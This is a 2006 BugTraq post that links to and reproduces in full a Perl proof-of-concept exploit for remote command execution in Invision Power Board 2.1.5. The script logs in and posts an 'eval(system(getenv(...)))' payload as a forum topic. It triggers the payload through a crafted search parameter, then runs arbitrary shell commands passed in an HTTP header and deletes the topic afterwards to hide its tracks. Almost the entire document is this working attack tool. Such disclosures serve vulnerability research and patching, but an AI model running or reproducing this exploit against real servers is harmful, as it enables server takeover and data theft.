BugTraq
Invision Power Board 2.1.5 POC Apr 27 2006 12:11PM
Javier Olascoaga (jolascoaga 514 es)
Proof of concept for http://www.securityfocus.com/bid/17695/ can be
found in www.514.es

LINK: http://www.514.es/download/invvy-v2.pl

Best regards,

- J

#!/usr/bin/perl
# Wed Apr 26 16:44:15 CEST 2006 jolascoaga (at) 514 (dot) es [email concealed]
#
# INVISION POWER BOARD 2.1.5 <www.invisionboard.com> pr00f 0f c0ncept
#
# remote command execution. vuln credits goes to IceShaman.
#
# works only if you have perms to post a comment. Exploit with replye is
# in my TODO...
#
# 514 still r0xing.
# !dSR the hardc0re hax0rs ;)
# There is no kwel comments in this release, wait for next upgrade
#######################################################################/

use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;

$| = 1; # ;1 = |$

my ($proxy,$proxy_user,$proxy_pass,$lang);
my ($arg_host,$debug,$ipb_user,$ipb_pass, $lang, $errors, $topic_index, $tmp_var);
my ($md5_key, $post_key, $tmp_var);

my %lang_es = (
'name' => 'Spanish Language',
'login' => "Ahora estás identificado",
'incorrect' => "Nombre de usuario o contraseña incorrectos",
'deleted' => "Tema Eliminado"
);

my %lang_en = (
'name' => 'English language',
'login' => "You are now logged in",
'incorrect' => "Sorry, we could not find a member using those log in details",
'deleted' => 'Topic Deleted',
);
my %lang_strings = ();

my $ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });

my $options = GetOptions (
'host=s' => \$arg_host,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'ipb_user=s' => \$ipb_user,
'ipb_pass=s' => \$ipb_pass,
'lang=s' => \$lang,
'errors' => \$errors,
'debug' => \$debug);

my ($host, $forum_index) = $arg_host =~ m/(http.*?)index.*?showforum=(.*)/;
print "Host: $host\nForum Index: $forum_index\n" if $debug;

&help unless ($host);

# w0w0w0w0w0 is smarter than some one i know :D
if (!$lang) {
lang_autodetect();
print "Detected lang is: $lang_strings{'name'}\n" if $debug;
}

while (1){
print "invvy:\\> ";
my $cmd = <STDIN>;
&invvy($cmd);
}

sub invvy {
chomp (my $cmd = shift);
LWP::Debug::level('+') if $debug;

$ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");

$ua->proxy(['http'] => $proxy) if $proxy;
my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

ipb_login (); # This works with redirects enabled/disabled

ipb_post(); # Post in a main forum.

ipb_exec ($cmd);

ipb_delete ($forum_index, $topic_index);
}
# guglucitos team presents:

sub help {
print "Syntax: ./$0 <url> [options]\n";
print "\t--ipb_user, --ipb_pass (needed if dont allow anonymous posts)\n";
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
print "\t--lang=[es|en] (default: autodetect)\n";
print "\t--debug\n";
print "\t--errors\n";
print "\nExample\n";
print "bash# $0 --host=http://www.somehost.com/index.php?showforum=2\n";
print "\n";
exit(1);
}

# sponsorized by coca-cola
sub lang_autodetect {

my $req = HTTP::Request->new (GET => $host."/index.php");
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug;

my $res = $ua->request($req);
my $html = $res->content();

if (($html =~ /Bienvenido,/) or ($html =~ /Fecha y Hora actual/)) {
%lang_strings = %lang_es;
return;
}
if (($html =~ /Welcome,/) or ($html =~ /Time is now/)) {
%lang_strings = %lang_en;
return;
}
print "Unknown lang switching to default: 'english'\n";
%lang_strings = %lang_en;
}

# login function for 2.1.5
sub ipb_login {
my $content;
my $h = $host."/index.php?act=Login&CODE=01";
print $h . "\n" if $debug;
my $req = POST $h,[
'referer' => $host,
'UserName' => $ipb_user,
'PassWord' => $ipb_pass,
'CookieDate' => 1
]; #grab these, and send to dsr!
print $req->as_string() if $debug;
my $res = $ua->request($req);
if ($errors) {
print "[+] Context: Login in\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'login'}."\n$error\n- ERROR -\n";
}
if ($res->code() eq 302) {
$content = redirect ($res->header("Location"));

} else {

$content = $res->content();
}

if ($content =~ /$lang_strings{'login'}/ or $content =~ /Logged in as/) {
print "Logged in\n" if $errors;
} else {
die "Can't log in\n";
}

}

sub redirect {
my ($addr) = @_;
my $req = HTTP::Request->new (GET => $addr);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug; # MKSINK is r0xer

my $res = $ua->request($req);
my $html = $res->content();

return $html;
}

sub ipb_post {
# This is for posting into a main index.

my $h = $host."/index.php?act=post&do=new_post&f=".$forum_index;

my $req = HTTP::Request->new (GET => $h);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug; #dirty_epic r0x++

my $res = $ua->request($req);
my $html = $res->content();

($md5_key) = $html =~ m/var ipb_md5_check\s+= \"(.*?)\"/;
($post_key) = $html =~ m/post_key' value='(.*?)'/;

print "AUTH check: $md5_key\n" if $debug;
print "POST key: $post_key\n" if $debug;

$tmp_var = int(rand(31337));
my $exploitme = 'eval(system(getenv(HTTP_'.$tmp_var.'))); //'; # seeeeeei la weeeeei
$h = $host."/index.php";

print $h."\n" if $debug;

my $req = POST $h, [
'st' => 0,
'act' => "Post",
's' => '',
'f' => $forum_index,
'auth_key' => $md5_key,
'removeattachid' => 0,
'MAX_FILE_SIZE' => 51200000,
'CODE' => '01',
'post_key' => $post_key,
'TopicTitle' => '514 pwned',
'TopicDesc' => '',
'poll_question' => '',
'ffont' => 0,
'fsize' => 0,
'Post' => $exploitme,
'post_htmlstatus' => 0,
'enableemo' => 'yes',
'enablesig' => 'yes',
'mod_options' => 'nowt',
'iconid' => 0,
'dosubmit' => 'Post New Topic'
];

$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();

print "Location: ".$res->header("Location") if $debug;
($topic_index) = $res->header("Location") =~ m/showtopic=(\d+)/;
if ($errors) {
print "[+] Context: Creating post\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}

}

sub ipb_delete {
my ($fid, $tid) = @_;
my $req;
print "Deleting Topic: $tid from forum: $fid\n" if $debug;

my $h = $host."/index.php";
$req = POST $h, [
'st' => 0,
'act' => 'mod',
'f' => $fid,
'auth_key' => $md5_key,
'CODE' => '08',
't' => $tid,
'submit' => 'Delete this topic'
]; # fuck windows automatic reboot
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

my $res = $ua->request($req);

if ($errors) {
print "[+] Context: Deleting Topic\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'deleted'}."\n$error\n- ERROR -\n";
}
# yow yow
if ($res->code() eq 200) {
if ($res->content() =~ /$lang_strings{'deleted'}/) {
print "Topic $topic_index deleted\n" if $errors;
} else {
print "Maybe there was errors deleting post: $topic_index\n" if $errors;
}
}
}

# shhhhh this is hidden
sub ipb_exec {
my ($cmd) = @_;
my $h = $host."/index.php?act=Search&CODE=01";
my $req = POST $h, [
'keywords' => "HTTP_".$tmp_var,
'namesearch' => '',
'forums[]' => $forum_index,
'prune' => 0,
'prune_type' => 'newer',
'result_type' => 'posts',
'search_in' => 'posts',
'sort_key' => 'last_post',
'searchsubs' => '1'
];
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

my $res = $ua->request($req);
my $html = $res->content();

my ($redir) = $html =~ m/url_bit.*?\"(.*?)\"/;
print "Redirect to: $redir\n" if $errors; # don't ask

if ($errors) {
print "[+] Context: First search\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}

if ($res->code eq 302) {
$redir = $res->header("Location");
}

# piere - tonite is a great song
my $req = HTTP::Request->new (GET => $redir.'&lastdate=z|eval.*?%20//)%23e%00');
$ua->proxy(['http'] => $proxy) if $proxy;
$req->header($tmp_var => 'echo STARTXPL;'.$cmd.';echo ENDXPL');
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug;

my $res = $ua->request($req);
my $html = $res->content();

$html =~ m/STARTXPL(.*?)ENDXPL/s;
print $1."\n";

# no matter with you
if ($errors) {
print "[+] Context: Executed\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}

}
# be aware with la roca peoplee

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